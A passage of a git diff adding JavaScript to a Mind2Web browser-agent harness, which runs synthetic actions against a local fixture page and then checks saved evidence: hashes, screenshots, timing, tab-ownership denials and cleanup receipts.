health.native_metadata_verified !== true + || health.adapter_version !== 'public-release-guard-v1' || health.method !== 'public_guard_native_capture' + || health.model_calls !== 0 || health.task_actions_replayed !== 0 + || !Number.isInteger(health.guard_id ?? health.guard_tab_id)) fail('guard health state'); + const png = await descriptorBytes(rawDir, health.png, 'public-health.png'); + const image = inspectPng(png); + if (!image.ok || image.width < 100 || image.height < 100 || image.width !== health.png.width || image.height !== health.png.height) fail('health PNG geometry'); + const metadata = health.metadata; + if (!metadata || metadata.sha256 !== sha(png) || metadata.byte_length !== png.length + || metadata.output_width !== image.width || metadata.output_height !== image.height + || typeof metadata.source_url !== 'string' || !metadata.capture_id || metadata.mode !== 'viewport' + || metadata.effective_emulation?.device_mode !== 'current') fail('health native image binding'); + const meta = JSON.parse(await readFile(path.join(rawDir, 'proxy-meta.json'))); + const guard = meta.public_guard; + if (guard?.ok !== true || guard.adapter_version !== 'public-release-guard-v1' || guard.guard_tab_id !== drain.guard_tab_id + || metadata.source_url !== guard.source_url || !isDeepStrictEqual(meta.public_disposition, proof) + || meta.cleanup_ok !== true || meta.uncertain_upstream || meta.queue_expiries || !meta.task_dispatch_halted) fail('saved guard or disposition differs'); + const url = new URL(metadata.source_url); + if (url.protocol !== 'http:' || url.hostname !== '127.0.0.1' || !url.port || url.username || url.password) fail('health source is not the private local guard'); + const guardId = health.guard_id ?? health.guard_tab_id; + if (guardId !== drain.guard_tab_id) fail('health and cleanup guard differ'); + for (const key of ['before_inventory', 'after_inventory']) { + const ids = health[key]?.tab_ids; + if (!Array.isArray(ids) || ids.length !== 1 || ids[0] !== guardId) fail('guard inventory continuity'); + } + const times = [matching[0].ended_at, cleanup.started_at, drain.at, health.before_inventory.at, + health.started_at, metadata.timestamp, health.ended_at, health.after_inventory.at, + disposal.prior_inventory.at, disposal.at, cleanup.ended_at].map(Date.parse); + // The final health inventory is captured just before the returned ended_at. + [times[6], times[7]] = [times[7], times[6]]; + if (times.some(value => !Number.isFinite(value)) || times.some((value, index) => index && value < times[index - 1])) fail('failure, health and cleanup chronology'); + if (steps.some(step => step !== matching[0] && Date.parse(step.started_at) > Date.parse(matching[0].ended_at))) fail('task tool dispatched after native failure'); + return { kind: proof.kind, native_error: native, missing_frame: true, effect_unknown: proof.effect_unknown, + goal_state: 'unknown_without_terminal_evidence', cleanup_evidence: proof.cleanup_evidence, + health_evidence: proof.health_evidence, health_png: health.png }; +} + +export async function publicAttemptBlocker(attempt, { publicRelease = false } = {}) { + const final = attempt.final; + if (attempt.state !== 'finished' || final?.cleanup_ok !== true || final?.uncertain_upstream) return true; + // A provider failure with verified cleanup is resumable once the controller + // has scheduled its retry; it is never selected as a scored outcome. + if (final?.provider_error && !attempt.provider_retry && !attempt.retryable_before_mutation) return true; + if (!final.fault) { + if (final.public_disposition) fail('disposition without its original fault'); + return false; + } + return !(publicRelease && await verifyPublicDisposition(attempt.raw_dir, final)); +} diff --git a/mind2web/harness/public-live-gate.mjs b/mind2web/harness/public-live-gate.mjs new file mode 100644 index 000000000..4836529d4 --- /dev/null +++ b/mind2web/harness/public-live-gate.mjs @@ -0,0 +1,632 @@ +import assert from 'node:assert/strict'; +import { createHash, randomUUID } from 'node:crypto'; +import { createServer } from 'node:http'; +import { appendFile, lstat, mkdir, readFile, readdir, realpath, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { parseArgs } from 'node:util'; +import { ManualRecordingProxy } from './manual-recording-proxy.mjs'; +import { BrowserScheduler } from './browser-scheduler.mjs'; +import { PUBLIC_PROFILE, PUBLIC_ALLOWED_TOOLS, publicCatalogReceipt } from './browser-manual-profile.mjs'; +import { resultData, resultOK } from './mcp-record-proxy.mjs'; +import { ownedTabsFromResult } from './owned-task-session.mjs'; +import { PUBLIC_RELEASE_ADAPTER_VERSION } from './public-release-client.mjs'; +import { inspectPng } from './png.mjs'; +import { writeV2 } from './v2-writer.mjs'; +import { validateTrajectoryDir } from './validate-v2.mjs'; +import { callActorTool, FIXTURE_PATH, hoverDispatchObserved, inspectArtifacts, javascriptValue, + refForLabel, settleOperations } from './manual-live-gate.mjs'; +import { MISSING_QUEUE_EXPORT_CODES, QUEUE_TIMEOUT_CODES, queueTimingEvidence } from './queue-timing.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); +export const PUBLIC_GATE_PROFILE_PATH = path.resolve(HERE, '../config/browser-manual-public-v1.json'); +export const PUBLIC_GATE_VERSION = 'public-local-gate-v1'; +const sha = value => createHash('sha256').update(value).digest('hex'); +const json = value => JSON.stringify(value, null, 2) + '\n'; +const compact = value => JSON.stringify(value); +const nativeRows = response => response.rows.filter(row => !row.observation); +const actorArgs = args => Object.fromEntries(Object.entries(args).filter(([key]) => !['client', 'visual_reason'].includes(key))); +const LEVELS = [1, 2, 5, 10]; +const SOURCE_MODULES = ['manual-live-gate.mjs', 'manual-recording-proxy.mjs', 'public-release-client.mjs', 'browser-scheduler.mjs', + 'browser-manual-profile.mjs', 'mcp-client.mjs', 'owned-task-session.mjs', 'observation-recorder.mjs', 'png.mjs', 'v2-writer.mjs', + 'validate-v2.mjs', 'queue-timing.mjs']; +export const PUBLIC_CLICK_SCRIPT = 'document.querySelector("#gate-click").click(); return true;'; +export const PUBLIC_STATE_SCRIPT = 'const input=document.querySelector("#gate-text"); input.value="public gate"; input.dispatchEvent(new Event("input",{bubbles:true})); document.querySelector("#gate-enter").dispatchEvent(new KeyboardEvent("keydown",{key:"Enter",bubbles:true})); const select=document.querySelector("#gate-select"); select.value="blue"; select.dispatchEvent(new Event("change",{bubbles:true})); document.querySelector("#gate-checkbox").click(); document.querySelector("#gate-hover").dispatchEvent(new MouseEvent("mouseenter",{bubbles:false})); document.querySelector("#gate-click").click(); return true;'; +const geometryScript = selector => `const element=document.querySelector(${JSON.stringify(selector)}); element.scrollIntoView({block:"center",behavior:"instant"}); const rect=element.getBoundingClientRect(); return {x:rect.left+rect.width/2,y:rect.top+rect.height/2};`; +export const REF_CASES = Object.freeze([ + { tool: 'click', label: 'Gate click', args: {} }, + { tool: 'type_text', label: 'Gate text', args: { text: 'public ref text' } }, + { tool: 'press_enter', label: 'Gate Enter', args: {} }, + { tool: 'select_option', label: 'Gate selection', args: { value: 'blue' } }, + { tool: 'check_box', label: 'Gate checkbox', args: {} }, + { tool: 'hover', label: 'Gate hover', args: {} }, + { tool: 'get_text', label: 'Gate read', args: {} }, +]); + +async function descriptor(file) { + file = path.resolve(file); const bytes = await readFile(file); + return { path: file, bytes: bytes.length, sha256: sha(bytes) }; +} +async function verifyDescriptor(expected) { + assert.ok(expected && typeof expected.path === 'string' && /^[a-f0-9]{64}$/.test(expected.sha256)); + const actual = await descriptor(expected.path); + assert.equal(actual.sha256, expected.sha256, `Evidence changed: ${expected.path}`); + if (expected.bytes !== undefined) assert.equal(actual.bytes, expected.bytes); + return actual; +} +function pinFiles(publicPins) { + const files = Array.isArray(publicPins) ? publicPins : publicPins?.files; + assert.ok(Array.isArray(files) && files.length, 'Pinned official package/runtime file descriptors are required'); + assert.equal(new Set(files.map(row => path.resolve(row.path))).size, files.length, 'Duplicate public pins'); + return files; +} +export async function verifyPublicPins(publicPins) { + return Promise.all(pinFiles(publicPins).map(verifyDescriptor)); +} +async function within(root, file) { + const relative = path.relative(await realpath(root), await realpath(file)); + assert.ok(relative && relative !== '..' && !relative.startsWith('..' + path.sep) && !path.isAbsolute(relative), 'Evidence escaped its directory'); +} +async function treeDescriptor(directory) { + const files = []; + async function visit(relative = '') { + for (const item of (await readdir(path.join(directory, relative), { withFileTypes: true })).sort((a, b) => a.name.localeCompare(b.name))) { + const next = path.join(relative, item.name), full = path.join(directory, next); + assert.equal((await lstat(full)).isSymbolicLink(), false, 'Gate evidence must not contain symlinks'); + if (item.isDirectory()) await visit(next); + else { assert.equal(item.isFile(), true); files.push({ relative_path: next, ...await descriptor(full) }); } + } + } + await visit(); + return { path: path.resolve(directory), sha256: sha(compact(files.map(({ relative_path, sha256, bytes }) => ({ relative_path, sha256, bytes })))), files }; +} +async function verifyTree(expected) { + const actual = await treeDescriptor(expected.path); + assert.deepEqual(actual, expected, 'Raw/export tree changed after the gate'); + return actual; +} +async function records(file, optional = false) { + let bytes; + try { bytes = await readFile(file); } catch (error) { if (optional && error.code === 'ENOENT') return []; throw error; } + const text = bytes.toString('utf8'); + assert.ok(!text || text.endsWith('\n'), `Incomplete JSONL: ${file}`); + return text.split('\n').filter(Boolean).map(JSON.parse); +} +const parsedRows = step => (step.result_text ?? '').split('\n').filter(Boolean).map(JSON.parse); +const byOperation = steps => new Map(steps.map(step => [step.operation_id, step])); +function stepFor(map, id, tool) { + const step = map.get(id); assert.ok(step, `Missing operation ${id}`); + if (tool) assert.equal(step.tool, tool); + return step; +} +function stateFromStep(step, marker) { + assert.equal(step.tool, 'get_text'); assert.equal(step.args.selector, '#gate-state'); assert.equal(step.ok, true); + const state = JSON.parse(parsedRows(step).find(row => typeof row.text === 'string')?.text ?? 'null'); + assert.equal(state?.marker, marker); return state; +} +function assertSettled(proxy) { + assert.ok(!proxy.meta.uncertain_upstream && !proxy.meta.capture_cleanup_pending && !proxy.meta.fault + && !proxy.meta.public_native_failure && !proxy.scheduler.halted, 'Public fixture has an ownership, native capture or unresolved-operation fault'); +} +function refEffect(tool, before, after, rows, marker) { + switch (tool) { + case 'click': return after.clicks === before.clicks + 1; + case 'type_text': return after.typed === 'public ref text'; + case 'press_enter': return after.enters === before.enters + 1; + case 'select_option': return after.selected === 'blue'; + case 'check_box': return after.checked === true; + case 'hover': return hoverDispatchObserved(after, before); + case 'get_text': return rows.some(row => row.text === `READ_TEXT ${marker}`); + default: throw new Error('Unexpected ref diagnostic'); + } +} +export function evaluatePublicRefDiagnostic({ tool, ref, before, after, rows, nativeSuccess, nativeOutcome, marker, unavailable }) { + if (unavailable) return { tool, status: 'unavailable', native_success: false, observed_effect: false }; + assert.match(ref, /^e\d+$/); assert.equal(before.marker, marker); assert.equal(after.marker, marker); + const observed = refEffect(tool, before, after, rows, marker); + return { tool, status: nativeSuccess && observed ? 'passed' : 'failed', native_success: nativeSuccess === true, + observed_effect: observed, native_unknown: nativeOutcome === 'unknown' || rows.some(row => row.outcome === 'unknown' || row.execution_outcome === 'unknown' || row.mayHaveExecuted === true) }; +} +export function summarizePublicRefCapabilities(records) { + assert.deepEqual(records.map(row => row.tool), REF_CASES.map(row => row.tool)); + return { total: 7, passed: records.filter(row => row.status === 'passed').length, + failed: records.filter(row => row.status === 'failed').length, + unavailable: records.filter(row => row.status === 'unavailable').length, + admission_requirement: false, records }; +} + +// Each tested target comes only from that same task's immediately preceding +// snapshot. A later observation is evidence, never a substitute targeting call. +export async function runPublicRefDiagnostics({ marker, tabId, call, readState }) { + const output = []; + for (const spec of REF_CASES) { + const before = await readState(tabId); + const snapshot = await call('get_page_snapshot', { tab_id: tabId }, { allowFailure: true, imageCount: 1 }); + let ref; + try { ref = refForLabel(snapshot.rows.find(row => typeof row.snapshot === 'string')?.snapshot ?? '', spec.label); } + catch { + output.push({ ...evaluatePublicRefDiagnostic({ tool: spec.tool, unavailable: true }), label: spec.label, + snapshot_operation_id: snapshot.operation_id, reason: 'The actual public snapshot did not expose one exact labelled compact ref' }); + continue; + } + const response = await call(spec.tool, { tab_id: tabId, selector: ref, ...spec.args }, + { allowFailure: true, observeCompletedUnknown: spec.tool !== 'get_text', imageCount: 1 }); + const after = await readState(tabId); + output.push({ ...evaluatePublicRefDiagnostic({ tool: spec.tool, ref, before: before.state, after: after.state, + rows: nativeRows(response), nativeSuccess: resultOK(response.result), nativeOutcome: response.execution_outcome, marker }), label: spec.label, ref, + snapshot_operation_id: snapshot.operation_id, operation_id: response.operation_id, + before_operation_id: before.operation_id, after_operation_id: after.operation_id, + native_result: nativeRows(response), completed_unknown: response.completed_unknown }); + } + return summarizePublicRefCapabilities(output); +} +function percentile(values) { + values = values.filter(Number.isFinite).sort((a, b) => a - b); + return values.length ? values[Math.max(0, Math.ceil(values.length * .95) - 1)] : null; +} +export function publicTimingMetrics(steps, calls, queueExpiries) { + const elapsed = (end, start) => end && start ? end.monotonic_ms - start.monotonic_ms : NaN; + return { queue_expiries: queueExpiries, + p95_queue_ms: percentile(steps.map(row => elapsed(row.timing?.lease_acquired, row.timing?.lease_requested))), + p95_tool_roundtrip_ms: percentile(calls.map(row => row.roundtrip_ms)), + p95_ui_lease_ms: percentile(steps.map(row => elapsed(row.timing?.lease_released, row.timing?.lease_acquired))) }; +} +export function assessPublicLevel(level, serialLeaseMs) { + const leaseLimit = Number.isFinite(serialLeaseMs) ? serialLeaseMs * 1.5 : null; + const passed = level.physical_tests_complete === true && level.queue_expiries === 0 + && Number.isFinite(level.p95_queue_ms) && level.p95_queue_ms <= 30_000 + && Number.isFinite(level.p95_tool_roundtrip_ms) && level.p95_tool_roundtrip_ms <= 60_000 + && Number.isFinite(level.p95_ui_lease_ms) && leaseLimit !== null && level.p95_ui_lease_ms <= leaseLimit; + return { ...level, ok: passed, failure_kind: passed ? null : 'timing', ui_lease_limit_ms: leaseLimit }; +} + +async function startFixtureServer() { + const html = await readFile(FIXTURE_PATH); + const server = createServer((request, response) => { + const url = new URL(request.url, 'http://127.0.0.1'); + if (request.method !== 'GET' || url.pathname !== '/fixture') { response.writeHead(404); response.end(); return; } + response.writeHead(200, { 'content-type': 'text/html; charset=utf-8', 'cache-control': 'no-store' }); response.end(html); + }); + await new Promise((resolve, reject) => { server.once('error', reject); server.listen(0, '127.0.0.1', resolve); }); + return { origin: `http://127.0.0.1:${server.address().port}`, + close: () => new Promise(resolve => { server.closeAllConnections(); server.close(resolve); }) }; +} +function fixtureUrl(origin, marker, mode = 'full') { + const url = new URL('/fixture', origin); url.searchParams.set('marker', marker); url.searchParams.set('mode', mode); return url.href; +} +async function gateCall(context, name, args = {}, options = {}) { + const start = performance.now(), from = context.proxy.seq; + const response = await callActorTool(context.proxy, name, args, options); + const steps = (await records(path.join(context.rawDir, 'steps.jsonl'))).filter(step => step.seq >= from); + const actual = steps.find(step => step.tool === name && step.kind !== 'bootstrap'); + const call = { tool: name, args, started_monotonic_ms: start, ended_monotonic_ms: performance.now(), + roundtrip_ms: performance.now() - start, operation_ids: steps.map(step => step.operation_id), + operation_id: actual?.operation_id ?? null, native_success: resultOK(response.result), + image_count: response.images, frame_id: response.observation?.frame_id ?? null }; + await appendFile(path.join(context.rawDir, 'gate-calls.jsonl'), compact(call) + '\n'); + assertSettled(context.proxy); + return { ...response, operation_id: call.operation_id, execution_outcome: actual?.execution_outcome }; +} +async function readState(context, tabId = context.proxy.tabId) { + const response = await gateCall(context, 'get_text', { ...(tabId ? { tab_id: tabId } : {}), selector: '#gate-state' }, { imageCount: 1 }); + const state = JSON.parse(response.rows.find(row => typeof row.text === 'string')?.text ?? 'null'); + const expected = response.observation?.tab_id === context.proxy.tabId ? context.marker : `${context.marker}-popup`; + assert.equal(state?.marker, expected); + return { state, operation_id: response.operation_id, observation: response.observation }; +} +async function clickCoordinates(context, selector, tabId = context.proxy.tabId) { + const geometry = await gateCall(context, 'execute_js', { tab_id: tabId, code: geometryScript(selector) }, { imageCount: 1 }); + const point = javascriptValue(geometry.rows); assert.ok(Number.isFinite(point.x) && Number.isFinite(point.y)); + const response = await gateCall(context, 'click_at', { tab_id: tabId, frame_id: geometry.observation.frame_id, ...point }, + { imageCount: 1, observeCompletedUnknown: true }); + return { geometry_operation_id: geometry.operation_id, operation_id: response.operation_id }; +} +async function exportContext(context, outputDir, profilePath, origin) { + await writeFile(path.join(context.rawDir, 'final.json'), json({ task_id: context.taskId, outcome: 'complete', + final_answer: 'Synthetic local rig checks finished; product capability results are recorded separately.', synthetic: true, benchmark_result: false })); + const written = await writeV2({ task: { task_id: context.taskId, website: context.proxy.startUrl, + confirmed_task: 'Validate synthetic public-release browser evidence and exact local fixture state.', reference_length: 1, level: 'easy' }, + rawDir: context.rawDir, outDir: path.join(outputDir, 'trajectories'), allowlistPath: profilePath }); + const validation = await validateTrajectoryDir(written.dir); assert.equal(validation.ok, true, validation.errors.join('; ')); + context.export_dir = written.dir; + context.artifacts = await inspectArtifacts({ rawDir: context.rawDir, expectedOrigin: origin, + allowedMarkers: [context.marker, `${context.marker}-popup`], exportDir: written.dir }); +} +export async function verifyPublicCleanup(meta, cleanup, capturedTabs, steps = []) { + assert.equal(meta.public_release, true); assert.equal(meta.profile, PUBLIC_PROFILE.id); assert.equal(meta.cleanup_ok, true); + assert.deepEqual(meta.child_cleanup, cleanup); assert.equal(cleanup.ok, true); + const drain = cleanup.public_guard_drain, disposal = cleanup.public_guard_disposal, shutdown = cleanup.public_client_shutdown; + assert.equal(drain?.ok, true); assert.equal(disposal?.ok, true); assert.equal(disposal.closed, true); + assert.equal(shutdown?.cleanup_ok, true); assert.equal(shutdown.client_closed, true); assert.equal(shutdown.guard_server_closed, true); + const guardId = meta.public_guard?.guard_tab_id; + assert.ok(Number.isSafeInteger(guardId) && guardId > 0); assert.equal(meta.public_guard.ok, true); + for (const [receipt, method] of [[meta.public_guard, 'public_guard_presence'], [drain, 'public_guard_only_inventory'], + [disposal, 'public_exact_guard_close_ack_after_guard_only_inventory'], [shutdown, 'public_exact_guard_close_ack_after_guard_only_inventory']]) { + assert.equal(receipt.adapter_version, PUBLIC_RELEASE_ADAPTER_VERSION); assert.equal(receipt.method, method); assert.equal(receipt.guard_tab_id, guardId); + } + assert.equal(shutdown.guard_prepared, true); assert.equal(shutdown.guard_close_attempted, true); assert.equal(shutdown.guard_disposed, true); + assert.equal(shutdown.post_close_inventory_requested, false); assert.ok(!shutdown.fault); + // A listed popup that FSB assigns to another agent stays in scope until the + // harness closes it by Chrome tab ID after the client shuts down. + const byId = (a, b) => a - b, foreignIds = [...(drain.foreign_tab_ids ?? [])].sort(byId); + assert.deepEqual([...drain.inventory?.tab_ids].sort(byId), [guardId, ...foreignIds].sort(byId)); assert.deepEqual(drain.task_tab_ids, []); + assert.deepEqual([...disposal.prior_inventory?.tab_ids].sort(byId), [guardId, ...foreignIds].sort(byId)); assert.equal(disposal.post_close_inventory_requested, false); + if (foreignIds.length) { + assert.deepEqual(cleanup.foreign_tabs.map(row => row.tab_id).sort(byId), foreignIds); + for (const row of cleanup.foreign_tabs) assert.match(row.native_error, /is owned by agent_[\w-]+, not the calling agent/); + assert.equal(cleanup.foreign_tab_closure?.ok, true); assert.deepEqual([...cleanup.foreign_tab_closure.closed].sort(byId), foreignIds); + } else assert.equal(cleanup.foreign_tabs, undefined); + assert.equal(disposal.private_registry_drain_attested, false); + const closed = cleanup.closes.map(row => { + assert.equal(row.result.length, 1); assert.ok(Number.isSafeInteger(row.tab_id) && row.tab_id > 0 && row.tab_id !== guardId); + const result = row.result[0], id = result?.tab_id ?? result?.tabId ?? result?.id; + assert.equal(row.ok, true); assert.equal(result?.success, true); assert.equal(result.closed, true); assert.equal(id, row.tab_id); return id; + }); + for (const step of steps.filter(row => row.tool === 'close_tab' && row.ok)) { + const rows = parsedRows(step), result = rows[0], id = result?.tab_id ?? result?.tabId ?? result?.id; + assert.ok(Number.isSafeInteger(id) && id > 0 && id !== guardId); + assert.equal(rows.length, 1); assert.equal(result?.success, true); assert.equal(result.closed, true); assert.equal(id, step.args.tab_id); + closed.push(id); + } + assert.equal(new Set(closed).size, closed.length, 'Cleanup must not retry a close'); + assert.deepEqual([...new Set(capturedTabs)].sort((a, b) => a - b), [...closed].sort((a, b) => a - b)); +} +export async function verifyPublicSessionArtifacts(session, origin) { + const steps = await records(path.join(session.raw_dir, 'steps.jsonl'), !session.export_dir); + const emissions = await records(path.join(session.raw_dir, 'emissions.jsonl'), true); + for (const step of steps) if (step.frame_receipt) { + await within(session.raw_dir, step.screenshot_path); + const receipt = step.frame_receipt, png = inspectPng(await readFile(step.screenshot_path)); + assert.equal(receipt.operation_id, step.operation_id); assert.equal(receipt.model_image_detail, 'original'); + assert.equal(receipt.output_width, png.width); assert.equal(receipt.output_height, png.height); + if (step.kind !== 'bootstrap') { + const matches = emissions.filter(row => row.frame_id === receipt.frame_id); + assert.equal(matches.length, 1); const emitted = matches[0]; + for (const key of ['operation_id', 'task_id', 'tab_id', 'sha256', 'byte_length']) assert.equal(emitted[key], receipt[key]); + assert.equal(emitted.model_image_detail, 'original'); + } + } + if (session.export_dir) { + const actual = await inspectArtifacts({ rawDir: session.raw_dir, expectedOrigin: origin, + allowedMarkers: [session.marker, `${session.marker}-popup`], exportDir: session.export_dir }); + assert.deepEqual(actual, session.artifacts); assert.equal((await validateTrajectoryDir(session.export_dir)).ok, true); + } else { + const evidence = await queueTimingEvidence(session.raw_dir); + assert.equal(evidence.valid, true); assert.equal(evidence.can_explain_missing_export, true); + } + return { steps, calls: await records(path.join(session.raw_dir, 'gate-calls.jsonl'), true) }; +} + +export function verifyPublicFixtureGoal(goal, maps, sessions) { + const session = sessions.get(goal.task_id); assert.ok(session); + const map = maps.get(goal.task_id), marker = session.marker; + const state = id => stateFromStep(stepFor(map, id), marker); + if (['dom_state', 'wave_state'].includes(goal.kind)) { + const action = stepFor(map, goal.action_operation_id, 'execute_js'); + assert.equal(action.args.code, goal.kind === 'dom_state' ? PUBLIC_STATE_SCRIPT : PUBLIC_CLICK_SCRIPT); + const before = state(goal.before_operation_id), after = state(goal.after_operation_id); + assert.equal(after.clicks, before.clicks + 1); + if (goal.kind === 'dom_state') { + assert.equal(after.typed, 'public gate'); assert.equal(after.enters, before.enters + 1); + assert.equal(after.selected, 'blue'); assert.equal(after.checked, true); assert.equal(after.hover_synthetic, before.hover_synthetic + 1); + } + } else if (goal.kind === 'canvas') { + const geometry = stepFor(map, goal.geometry_operation_id, 'execute_js'); assert.equal(geometry.args.code, geometryScript('#gate-canvas')); + const point = javascriptValue(parsedRows(geometry)); const action = stepFor(map, goal.action_operation_id, 'click_at'); + assert.equal(action.args.frame_id, geometry.frame_receipt.frame_id); assert.equal(action.args.x, point.x); assert.equal(action.args.y, point.y); + assert.equal(state(goal.after_operation_id).canvas, state(goal.before_operation_id).canvas + 1); + } else if (goal.kind === 'explicit_capture') { + const action = stepFor(map, goal.operation_id, 'capture_screenshot'); assert.equal(action.ok, true); assert.ok(action.frame_receipt?.capture_id); + } else if (goal.kind === 'svg_text') { + const action = stepFor(map, goal.operation_id, 'get_text'); assert.equal(action.args.selector, '#after-svg'); + assert.ok(parsedRows(action).some(row => row.text === `AFTER_SVG ${marker}`)); assert.equal(action.ok, true); + } else if (goal.kind === 'site_guide') { + const action = stepFor(map, goal.operation_id, 'get_site_guide'); assert.equal(action.kind, 'research_read'); assert.equal(action.screenshot_path, null); assert.equal(action.ok, true); + } else if (goal.kind === 'popup_foreign') { + assert.notEqual(goal.primary_tab_id, goal.popup_tab_id); + const probe = stepFor(map, goal.probe_operation_id, 'get_text'); + assert.equal(probe.tab_id, goal.popup_tab_id); assert.equal(probe.kind, 'foreign_read'); assert.equal(probe.error_code, 'PUBLIC_TAB_NOT_CONTROLLABLE'); + assert.match(probe.error, /is owned by agent_[\w-]+, not the calling agent/); + const inventory = stepFor(map, goal.inventory_operation_id, 'list_tabs'); + const ids = parsedRows(inventory).find(row => Array.isArray(row.tabs))?.tabs.map(row => row.id ?? row.tabId ?? row.tab_id); + assert.deepEqual([...ids].sort((a, b) => a - b), [goal.primary_tab_id, goal.popup_tab_id].sort((a, b) => a - b)); + assert.equal(state(goal.before_operation_id).clicks, 0); assert.equal(state(goal.after_operation_id).marker, marker); + } else if (goal.kind === 'popup_isolation') { + assert.notEqual(goal.primary_tab_id, goal.popup_tab_id); + const childMarker = `${marker}-popup`; + const childBefore = stateFromStep(stepFor(map, goal.child_before_operation_id), childMarker); + const childAfter = stateFromStep(stepFor(map, goal.child_after_operation_id), childMarker); + const parentBefore = state(goal.before_operation_id), parentMiddle = state(goal.parent_unchanged_operation_id), parentAfter = state(goal.after_operation_id); + const childAgain = stateFromStep(stepFor(map, goal.child_unchanged_operation_id), childMarker); + assert.equal(parentBefore.clicks, 0); assert.equal(childBefore.clicks, 0); + assert.equal(parentMiddle.clicks, 0); assert.equal(childAfter.clicks, 1); assert.equal(parentAfter.clicks, 1); assert.equal(childAgain.clicks, 1); + for (const [id, tab] of [[goal.child_action_operation_id, goal.popup_tab_id], [goal.parent_action_operation_id, goal.primary_tab_id]]) { + const action = stepFor(map, id, 'execute_js'); assert.equal(action.tab_id, tab); assert.equal(action.args.code, PUBLIC_CLICK_SCRIPT); + } + const child = stepFor(map, goal.child_before_operation_id); assert.equal(child.tab_id, goal.popup_tab_id); + const url = new URL(child.frame_receipt.source_url); assert.equal(url.searchParams.get('marker'), childMarker); assert.equal(url.searchParams.get('child'), '1'); + const inventory = stepFor(map, goal.inventory_operation_id, 'list_tabs'); + const ids = parsedRows(inventory).find(row => Array.isArray(row.tabs))?.tabs.map(row => row.id ?? row.tabId ?? row.tab_id); + assert.deepEqual([...ids].sort((a, b) => a - b), [goal.primary_tab_id, goal.popup_tab_id].sort((a, b) => a - b)); + } else if (goal.kind === 'foreign_denial') { + assert.equal(goal.control.native_success, false); + assert.match(compact(goal.control.rows), /TAB_NOT_OWNED|Detected: Tab ownership|TAB_OUT_OF_SCOPE/); + assert.equal(goal.control.tool, 'get_text'); assert.equal(goal.control.args.selector, '#marker'); + const foreign = sessions.get(goal.foreign_task_id); assert.ok(foreign); assert.notEqual(foreign.task_id, session.task_id); + assert.equal(goal.control.args.tab_id, foreign.primary_tab_id); + const foreignMap = maps.get(foreign.task_id); + const before = stateFromStep(stepFor(foreignMap, goal.before_foreign_operation_id), foreign.marker); + const after = stateFromStep(stepFor(foreignMap, goal.after_foreign_operation_id), foreign.marker); + for (const key of ['marker', 'clicks', 'typed', 'enters', 'selected', 'checked', 'hover_synthetic', 'canvas', 'churn']) assert.deepEqual(after[key], before[key]); + } else if (goal.kind === 'last_tab_guard') { + const action = stepFor(map, goal.operation_id, 'close_tab'); assert.equal(action.kind, 'denied'); assert.equal(action.screenshot_path, null); + assert.match(action.result_text, /LAST_WORKING_TAB/); assert.equal(action.ok, false); + } else throw new Error('Unexpected admission goal'); +} + +/** Revalidate saved public evidence without creating clients, images or files. */ +export async function verifyPublicLocalGateEvidence(summary, { gateDir, serverCommand, publicPins, profilePath = PUBLIC_GATE_PROFILE_PATH } = {}) { + gateDir = path.resolve(gateDir); assert.equal(summary.version, PUBLIC_GATE_VERSION); assert.equal(summary.public_release, true); + assert.equal(summary.output_dir, gateDir); assert.equal(summary.profile, PUBLIC_PROFILE.id); + assert.equal(summary.command_sha256, sha(compact(serverCommand))); + const pins = await verifyPublicPins(publicPins); assert.deepEqual(pins, summary.public_pins); + const manifest = JSON.parse(await readFile(path.join(gateDir, 'manifest.json'), 'utf8')); + for (const key of ['version', 'public_release', 'profile', 'output_dir', 'fixture_origin', 'command_sha256', 'sources', 'public_pins']) assert.deepEqual(manifest[key], summary[key]); + for (const source of summary.sources) await verifyDescriptor(source); + assert.deepEqual(summary.sources.map(row => row.path), [fileURLToPath(import.meta.url), FIXTURE_PATH, path.resolve(profilePath), ...SOURCE_MODULES.map(file => path.join(HERE, file))]); + const profile = JSON.parse(await readFile(profilePath, 'utf8')); + assert.deepEqual(profile.actions, PUBLIC_PROFILE.actions); assert.deepEqual(profile.reads, PUBLIC_PROFILE.reads); + assert.equal(summary.hard_queue_ms, 60_000); assert.equal(summary.correctness_ok, true); assert.equal(summary.cleanup_ok, true); + const sessions = new Map(), maps = new Map(), data = new Map(); + for (const session of summary.sessions) { + assert.ok(!sessions.has(session.task_id)); sessions.set(session.task_id, session); + await within(gateDir, session.raw_dir); await verifyTree(session.raw_evidence); + if (session.export_dir) { await within(gateDir, session.export_dir); await verifyTree(session.export_evidence); } + const rows = await verifyPublicSessionArtifacts(session, summary.fixture_origin); maps.set(session.task_id, byOperation(rows.steps)); data.set(session.task_id, rows); + const meta = JSON.parse(await readFile(path.join(session.raw_dir, 'proxy-meta.json'), 'utf8')); + assert.equal(meta.task_id, session.task_id); assert.equal(meta.tab_id, session.primary_tab_id); assert.equal(meta.start_url, fixtureUrl(summary.fixture_origin, session.marker)); + assert.ok(!meta.fault && !meta.public_native_failure && !meta.uncertain_upstream && !meta.capture_cleanup_pending); + assert.equal(meta.counts.screenshot_errors, 0); assert.equal(meta.cleanup_ok, session.cleanup_ok); + assert.deepEqual(meta.public_catalog, summary.public_catalog); + await verifyPublicCleanup(meta, JSON.parse(await readFile(path.join(session.raw_dir, 'childcleanup.json'), 'utf8')), + rows.steps.filter(row => row.frame_receipt).map(row => row.tab_id), rows.steps); + assert.equal(meta.queue_expiries ?? 0, session.queue_expiries); + if (session.queue_expiries || !session.export_dir) { + assert.equal(session.level_timing_failed, true); + assert.deepEqual(await queueTimingEvidence(session.raw_dir), session.queue_timing_evidence); + } + for (const call of rows.calls) { + assert.ok(Number.isFinite(call.roundtrip_ms) && call.roundtrip_ms >= 0); + assert.ok(call.operation_id && call.operation_ids.includes(call.operation_id)); + const step = stepFor(maps.get(session.task_id), call.operation_id, call.tool); assert.deepEqual(actorArgs(step.args), call.args); + assert.equal(call.native_success, step.ok); assert.equal(call.image_count, step.screenshot_path ? 1 : 0); + } + } + const functional = summary.sessions.filter(row => row.role === 'functional'); assert.equal(functional.length, 1); + const diagnostic = summary.sessions.filter(row => row.role === 'ref_diagnostics'); assert.equal(diagnostic.length, 1); + assert.equal(summary.sessions.filter(row => row.role === 'foreign_control').length, 1); + assert.ok(summary.sessions.every(row => ['functional', 'ref_diagnostics', 'foreign_control', 'wave'].includes(row.role))); + if (!Array.isArray(publicPins) && publicPins.catalog) { + const catalog = JSON.parse(await readFile(publicPins.catalog.path, 'utf8')); + await verifyDescriptor(publicPins.catalog); 